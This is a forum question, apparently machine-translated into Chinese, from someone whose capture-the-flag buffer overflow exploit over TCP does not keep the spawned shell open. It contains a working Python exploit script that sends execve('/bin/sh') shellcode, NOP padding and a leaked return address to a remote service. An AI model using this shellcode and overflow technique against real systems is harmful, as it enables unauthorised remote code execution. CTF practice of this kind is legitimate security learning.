使用TCP进行的缓冲区溢出攻击不会使shell保持打开状态

2024-06-08 01:33:09 发布

您现在位置:Python中文网/ 问答频道 /正文

我为此CTF为远程计算机精心设计了一个缓冲区溢出漏洞。质询打印出一个地址,然后必须使用该地址才能知道外壳代码存储在哪里。附件是我当前的攻击代码:

if len(sys.argv) != 3:
    print "Usage: %s host port" % (sys.argv[0])
    sys.exit(0)

s = socket.create_connection([sys.argv[1], int(sys.argv[2])])
recieved = s.recv(4096)
print(recieved)
#send 10 bytes of data
s.send("9999\n")
time.sleep(.2)
raw_input("EXPLOIT ?? ")

print s.recv(4096)

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 
pad = "\x90" * 251
IP = struct.pack("I",literal_eval(recieved[13:23]))
print("ADDR: ", recieved[13:23])
s.send(sh + pad + IP)

基本上,首先我创建连接,然后我发送一个输入,将程序引导到它需要去的地方,以使漏洞利用成为可能(与此问题无关)

接下来,我创建漏洞本身

基本前提是:

shellcode + padding + eip

eip地址来自程序输出给my的内容(这是我在IP变量中解析的内容)

这个地址是缓冲区的开始,我的外壳代码从这里开始,因此我想跳转到这里

我正在使用socat运行二进制文件,以便它与CTF服务器上承载的挑战相同。我使用GDB连接到进程,然后运行我的漏洞攻击。它成功了,但给出了以下输出:

process 2422 is executing new program: /usr/bin/dash
[Inferior 1 (process 2422) exited normally]
(gdb) 

我与服务的连接被终止

如果我使用本地二进制文件运行这个程序,我会使用(python file.py;cat-;)|/程序来保持流的打开,但这不是一个选项,因为我需要程序输出的内容,并且必须远程执行。我也尝试过使用Telnet,但是程序挂起了,什么也没发生


Tags: 代码程序ipsend内容地址sysctf

热门问题